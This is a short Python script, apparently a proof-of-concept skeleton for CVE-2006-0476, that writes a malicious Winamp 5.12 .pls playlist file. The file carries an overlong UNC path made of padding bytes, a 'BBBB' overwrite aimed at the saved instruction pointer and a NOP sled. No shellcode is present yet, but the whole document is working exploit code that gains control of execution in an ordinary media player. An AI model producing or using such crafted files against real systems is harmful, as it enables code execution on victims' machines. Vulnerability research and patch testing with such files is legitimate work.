#!/usr/bin/python
#
# Python skeletton file for CVE-2006-0476
# (Winamp 5.12 stack overflow in .pls file UNC path processing)
# EIP is expected to be 0x42424242
#
# meik
#

import sys
import struct

crash = "A" * 1022
junk = "BBBB" + "\x90" * 12

file_header = "[playlist]\r\nFile1=\\\\"
file_footer = "\r\nTitle1=pwned\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2"

exploit = file_header 
exploit += crash + junk 
exploit += file_footer

f = open("exploit.pls", "w+")
f.write(exploit)
f.close()
